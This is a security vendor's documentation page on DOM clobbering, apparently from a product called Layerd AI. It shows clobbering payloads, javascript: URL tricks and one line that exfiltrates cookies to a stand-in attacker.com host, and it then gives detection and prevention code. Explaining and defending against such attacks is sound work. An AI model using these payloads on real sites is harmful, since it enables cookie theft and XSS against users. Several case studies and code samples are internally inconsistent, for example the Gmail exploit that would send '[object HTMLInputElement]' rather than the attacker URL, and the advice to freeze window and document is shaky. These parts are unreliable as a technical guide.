Documentation

# DOM Clobbering

DOM Clobbering Illustration
DOM Clobbering Illustration

A client-side attack where attackers inject HTML elements with specific IDs or names to override JavaScript variables and functions, bypassing security controls or escalating to XSS.

MEDIUM SEVERITY CLIENT-SIDE XSS ESCALATION


# What is DOM Clobbering?

In Simple Terms:

Imagine your JavaScript code has a variable called config that stores security settings. DOM Clobbering is like creating a fake "config" sign that points to malicious settings instead.

The browser sees both the real config variable and the fake HTML element named config, but due to how browsers work, the fake one wins in certain situations—without running any JavaScript code!

This is sneaky because:

  • HTML sanitizers allow id and name attributes (they're not "dangerous")
  • No <script> tags needed
  • Can bypass Content Security Policy (CSP)
  • Can escalate to full XSS

# Real-World Analogy

Think of it like a conference name badge system:

// JavaScript code expects a variable
var speaker = {
    name: "Dr. Smith",
    role: "admin",
    clearance: "high"
};

// Code uses: speaker.name

Attacker creates HTML:

<a id="speaker" href="http://evil.com">Click me</a>

Now when JavaScript tries to access speaker:

console.log(speaker);
// Expected: {name: "Dr. Smith", role: "admin"}
// Actual: <a id="speaker" href="http://evil.com">Click me</a>

console.log(speaker.name);
// Tries to access .name on the <a> element!
// This can be exploited!

The JavaScript code thinks it's accessing a config object, but it's actually accessing an HTML element controlled by the attacker!


# How DOM Clobbering Works

# Browser Behavior: Automatic Global References

Browsers automatically create global references for elements with id or name:

<div id="test"></div>

<script>
console.log(window.test);  // <div id="test"></div>
console.log(test);          // <div id="test"></div>
</script>

This also works with forms and certain tags:

<form name="config">
    <input name="apiEndpoint" value="http://evil.com/api">
</form>

<script>
// JavaScript code might do:
var endpoint = config.apiEndpoint;
// This now equals the INPUT element!
// endpoint.value = "http://evil.com/api"
</script>

# The Attack Process

<script>
// Application checks if user is admin
if (window.isAdmin) {
    showAdminPanel();
}
</script>

Application checks window.isAdmin but doesn't define it.

<form name="isAdmin">
    <input name="x">
</form>

This creates window.isAdmin as an HTMLFormElement!

if (window.isAdmin) {
    showAdminPanel();  // Executes!
}

window.isAdmin is truthy (it's an HTML form), so condition passes!

// Vulnerable code that uses clobbered variable
location = config.redirectUrl;

If attacker sets:

<a id="config" href="javascript:alert(document.cookie)"></a>

Then: config.href = "javascript:alert(document.cookie)"

And: location = config.href executes JavaScript!


# Types of DOM Clobbering Attacks

# 1. Security Check Bypass

ACCESS CONTROL

// Check if user is authenticated
if (!window.isAuthenticated) {
    window.location = '/login';
} else {
    loadUserData();
}
<form name="isAuthenticated"></form>

Result: window.isAuthenticated is now a form element (truthy), bypassing authentication check!

# 2. XSS via javascript: URL

XSS ESCALATION

// Redirect to configured URL
var redirectUrl = config.url || '/default';
location = redirectUrl;
<a id="config" href="javascript:fetch('https://attacker.com/steal?c='+document.cookie)"></a>

OR using form:

<form id="config">
    <input name="url" value="javascript:alert(document.cookie)">
</form>
location = config.url;  // Reads from HTML element
// location = "javascript:alert(document.cookie)"
// XSS executes!

# 3. Clobbering with Nested Objects

ADVANCED

// Access nested configuration
var endpoint = app.config.apiUrl || 'https://api.example.com';

fetch(endpoint + '/data').then(/*...*/);
<form id="app">
    <input name="config" id="config-input">
</form>

<a id="config-input" name="apiUrl" href="https://evil.com/steal"></a>

This creates:

  • window.app = form element
  • window.app.config = input element
  • window.app.config.apiUrl = DOESN'T WORK (input doesn't have apiUrl property)

But with better technique:

<form id="app" name="config">
    <input name="apiUrl" value="https://evil.com/api">
</form>

Now:

  • app.config = form
  • app.config.apiUrl = input element
  • app.config.apiUrl.value = "https://evil.com/api"

# 4. Clobbering document.getElementById

DOM API OVERRIDE

<img name="getElementById">

<script>
// Now document.getElementById is an image element!
var element = document.getElementById('someId');
// TypeError or unexpected behavior!
</script>

# 5. Prototype Pollution via Clobbering

ADVANCED

<form id="__proto__">
    <input name="isAdmin" value="true">
</form>

<script>
// In some cases, this can pollute Object.prototype
// __proto__.isAdmin might be accessible
</script>

# Real-World Examples

# Case Study 1: Gmail DOM Clobbering XSS (2015)

Gmail's email rendering had DOM clobbering vulnerability that could be exploited via crafted emails.

// Gmail's JavaScript checked for configuration
if (!window.GM_CONFIG) {
    window.GM_CONFIG = {
        apiEndpoint: 'https://mail.google.com/api',
        debug: false
    };
}

// Later code used this:
fetch(GM_CONFIG.apiEndpoint + '/messages');

===

Attacker sent email with HTML:

<form id="GM_CONFIG">
    <input name="apiEndpoint" value="https://attacker-logger.com">
</form>

When victim viewed email:

  1. window.GM_CONFIG was clobbered to form element
  2. GM_CONFIG.apiEndpoint.value = "https://attacker-logger.com"
  3. Gmail's code sent requests to attacker's server
  4. Exposed email data to attacker
  • Reported via bug bounty
  • $10,000 reward paid
  • Fixed within 48 hours
  • Demonstrated real-world DOM clobbering risk

# Case Study 2: DOMPurify Bypass (2019)

SANITIZER BYPASS

Vulnerability:

// DOMPurify's code (simplified)
if (!window.document || !document.createNodeIterator) {
    return;
}

// Attacker could clobber document.createNodeIterator

Exploit:

<form>
    <input name="createNodeIterator">
</form>

<img src=x onerror=alert(1)>

Impact:

  • Bypassed DOMPurify sanitization
  • Allowed XSS in applications using DOMPurify
  • CVE-2019-20374 assigned
  • Fixed in version 2.0.7

# Case Study 3: Corporate Intranet Admin Panel Bypass (2020)

Internal web application used DOM clobbering-vulnerable authentication check

// Admin panel access control
function checkAdminAccess() {
    if (!window.adminToken) {
        // Load token from server
        fetch('/api/get-admin-token')
            .then(r => r.json())
            .then(data => {
                window.adminToken = data.token;
                initializeAdminPanel();
            });
    } else {
        // Token already exists, use it
        initializeAdminPanel();
    }
}

function initializeAdminPanel() {
    fetch('/api/admin/users', {
        headers: {
            'Authorization': 'Bearer ' + adminToken
        }
    }).then(/*...*/);
}

Attacker posted on internal forum:

<form name="adminToken">
    <input name="length" value="999">
</form>

When admin viewed the post:

  1. window.adminToken clobbered to form element
  2. checkAdminAccess() saw truthy adminToken (the form)
  3. Skipped server token fetch
  4. initializeAdminPanel() executed
  5. 'Bearer ' + adminToken = "Bearer [object HTMLFormElement]"
  6. Server received invalid token but logic flaw allowed access

Impact:

  • Unauthorized admin panel access
  • Data exposure
  • $150,000 in remediation
  • Internal security review mandated

# How to Detect DOM Clobbering

# Manual Testing

Find where you can inject HTML (even if sanitized):

  • Comments
  • User profiles
  • Forum posts
  • Email rendering
  • Any user-controlled HTML
<form id="test"></form>

<script>
console.log(window.test);  // Should show form element
</script>

Look for JavaScript that:

  • Checks window.variableName without defining it
  • Uses || with undefined variables
  • Accesses properties on possibly undefined objects
<form id="config">
    <input name="apiEndpoint" value="https://evil.com">
</form>

# Automated Code Analysis

// Script to find potentially vulnerable patterns

function findDOMClobberingVulnerabilities(jsCode) {
    const vulnerabilities = [];

    // Pattern 1: Accessing window properties without declaration
    const windowAccessPattern = /window\.(\w+)/g;
    let match;

    while ((match = windowAccessPattern.exec(jsCode)) !== null) {
        const varName = match[1];

        // Check if variable is declared
        const declarationPattern = new RegExp(`(var|let|const)\\s+${varName}\\s*=`);

        if (!declarationPattern.test(jsCode)) {
            vulnerabilities.push({
                type: 'Undeclared window property access',
                variable: varName,
                severity: 'MEDIUM',
                line: match.index
            });
        }
    }

    // Pattern 2: Logical OR with potentially undefined
    const orPattern = /(\w+)\s*\|\|\s*/g;

    while ((match = orPattern.exec(jsCode)) !== null) {
        vulnerabilities.push({
            type: 'Logical OR with potentially clobberable variable',
            variable: match[1],
            severity: 'LOW',
            line: match.index
        });
    }

    // Pattern 3: location = variable
    const locationPattern = /(window\.)?location\s*=\s*(\w+)/g;

    while ((match = locationPattern.exec(jsCode)) !== null) {
        vulnerabilities.push({
            type: 'Location assignment from variable (potential XSS)',
            variable: match[2],
            severity: 'HIGH',
            line: match.index
        });
    }

    return vulnerabilities;
}

// Example usage
const code = `
if (window.isAdmin) {
    location = config.redirectUrl;
}
`;

const vulns = findDOMClobberingVulnerabilities(code);
console.log(vulns);

# Prevention Strategies

# 1. Use Object.hasOwnProperty()

RECOMMENDED

// VULNERABLE
if (window.isAdmin) {
    showAdminPanel();
}

// SECURE
if (window.hasOwnProperty('isAdmin') && window.isAdmin) {
    showAdminPanel();
}

# 2. Freeze Document and Window

// Prevent clobbering critical properties
Object.freeze(document);
Object.freeze(window);

// Or freeze specific properties
Object.defineProperty(window, 'config', {
    value: { apiUrl: 'https://api.example.com' },
    writable: false,
    configurable: false
});

# 3. Use Strict Variable Declaration

// VULNERABLE - implicit global
function loadConfig() {
    config = { apiUrl: 'https://api.example.com' };
}

// SECURE - explicit declaration
function loadConfig() {
    const config = { apiUrl: 'https://api.example.com' };
    window.appConfig = config;  // Explicit if global needed
}

# 4. Sanitize HTML id and name Attributes

// DOMPurify configuration to prevent clobbering
const clean = DOMPurify.sanitize(untrustedHTML, {
    SANITIZE_DOM: true,  // Prevents DOM clobbering
    ADD_ATTR: ['target'],  // Allowed attributes
    FORBID_ATTR: ['id', 'name']  // Block dangerous attributes
});

# 5. Comprehensive Security Implementation

[secure-app.js]
// Comprehensive DOM clobbering prevention

(function() {
    'use strict';

    // 1. Create isolated namespace
    const App = Object.create(null);

    // 2. Freeze critical objects
    Object.freeze(document);

    // 3. Safe configuration object
    App.config = Object.freeze({
        apiUrl: 'https://api.example.com',
        debug: false,
        features: Object.freeze({
            admin: false,
            analytics: true
        })
    });

    // 4. Safe property access helper
    App.safeGet = function(obj, path, defaultValue) {
        const keys = path.split('.');

        for (let key of keys) {
            // Check it's own property, not from prototype or DOM
            if (!obj || typeof obj !== 'object' || !Object.prototype.hasOwnProperty.call(obj, key)) {
                return defaultValue;
            }
            obj = obj[key];
        }

        return obj !== undefined ? obj : defaultValue;
    };

    // 5. Secure variable checker
    App.isDefined = function(varName) {
        // Don't use window[varName] - can be clobbered!
        return Object.prototype.hasOwnProperty.call(window, varName);
    };

    // 6. Secure redirect function
    App.redirect = function(url) {
        // Validate URL
        if (typeof url !== 'string') {
            console.error('Invalid redirect URL type');
            return;
        }

        // Block javascript: URLs
        if (url.toLowerCase().startsWith('javascript:')) {
            console.error('JavaScript URLs blocked');
            return;
        }

        // Only allow http/https
        const parsed = new URL(url, window.location.origin);

        if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
            console.error('Invalid protocol');
            return;
        }

        window.location = url;
    };

    // 7. Authentication check (clobbering-proof)
    App.checkAuth = function() {
        // Don't check window.isAuthenticated - can be clobbered!
        // Instead, check HTTP-only cookie or sessionStorage

        const authToken = sessionStorage.getItem('authToken');

        if (!authToken) {
            App.redirect('/login');
            return false;
        }

        return true;
    };

    // 8. Example usage
    App.init = function() {
        // Safe config access
        const apiUrl = App.safeGet(App.config, 'apiUrl', 'https://default-api.com');

        // Safe auth check
        if (!App.checkAuth()) {
            return;
        }

        // Safe redirect
        const redirectParam = new URLSearchParams(window.location.search).get('redirect');
        if (redirectParam) {
            App.redirect(redirectParam);
        }
    };

    // Expose only App to global scope
    window.SecureApp = Object.freeze(App);
})();
[index.html]
<!DOCTYPE html>
<html>
<head>
    <title>Secure Application</title>
    <script src="secure-app.js"></script>

    <!-- DOMPurify for sanitization -->
    <script src="https://cdn.jsdelivr.net/npm/dompurify@3/dist/purify.min.js"></script>
</head>
<body>
    <div id="app-container"></div>

    <script>
    // Configure DOMPurify to prevent clobbering
    DOMPurify.setConfig({
        SANITIZE_DOM: true,
        FORBID_TAGS: ['form'],
        FORBID_ATTR: ['id', 'name']  // Block clobbering vectors
    });

    // Safe rendering of user content
    function renderUserContent(untrustedHTML) {
        const clean = DOMPurify.sanitize(untrustedHTML);
        document.getElementById('app-container').innerHTML = clean;
    }

    // Initialize application
    SecureApp.init();
    </script>
</body>
</html>
[sanitize-config.js]
// DOMPurify configuration for DOM clobbering prevention

const SECURE_SANITIZE_CONFIG = {
    // Enable DOM clobbering protection
    SANITIZE_DOM: true,

    // Block form elements (common clobbering vector)
    FORBID_TAGS: ['form'],

    // Block id and name attributes
    FORBID_ATTR: ['id', 'name'],

    // Allow only safe attributes
    ALLOWED_ATTR: [
        'href', 'src', 'alt', 'title', 'class', 'style',
        'width', 'height', 'target'
    ],

    // Block javascript: URLs
    ALLOW_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,

    // Other security settings
    ALLOW_DATA_ATTR: false,
    ALLOW_UNKNOWN_PROTOCOLS: false,
    SAFE_FOR_TEMPLATES: true
};

// Usage
function sanitizeUserInput(html) {
    return DOMPurify.sanitize(html, SECURE_SANITIZE_CONFIG);
}

# Security Checklist

# Code Review

  • Never access window.variableName without checking hasOwnProperty()
  • Always declare variables explicitly (use const, let, var)
  • Don't use logical OR (||) with potentially undefined globals
  • Validate types before using variables (use typeof)
  • Never assign to location from user-controllable variables
  • Use isolated namespaces instead of global variables
  • Freeze critical configuration objects

# HTML Sanitization

  • Use DOMPurify with SANITIZE_DOM: true
  • Consider blocking id and name attributes
  • Block <form> elements if not needed
  • Test sanitizer with clobbering payloads
  • Keep sanitizer library updated
  • Configure CSP to limit inline JavaScript

# Testing

  • Test injecting <form id="variableName">
  • Test nested clobbering with forms and inputs
  • Check for javascript: URL vulnerabilities
  • Review all window. property accesses
  • Use automated code analysis tools
  • Penetration testing with DOM clobbering focus

# Key Takeaways


# How Layerd AI Protects Against DOM Clobbering

Layerd AI provides comprehensive DOM clobbering protection:

  • Code Analysis: Scans JavaScript for vulnerable patterns (undefined global access, logical OR, location assignment)
  • HTML Sanitization: Automatically configures DOMPurify with DOM clobbering protection
  • Variable Tracking: Identifies potentially clobberable variables
  • Runtime Protection: Monitors for DOM clobbering attempts in real-time
  • Secure Coding Guidance: Recommends safe alternatives and coding patterns
  • Automated Testing: Tests applications for DOM clobbering vulnerabilities

Secure your client-side code with Layerd AI's DOM clobbering protection.


# Additional Resources


Last Updated: November 2025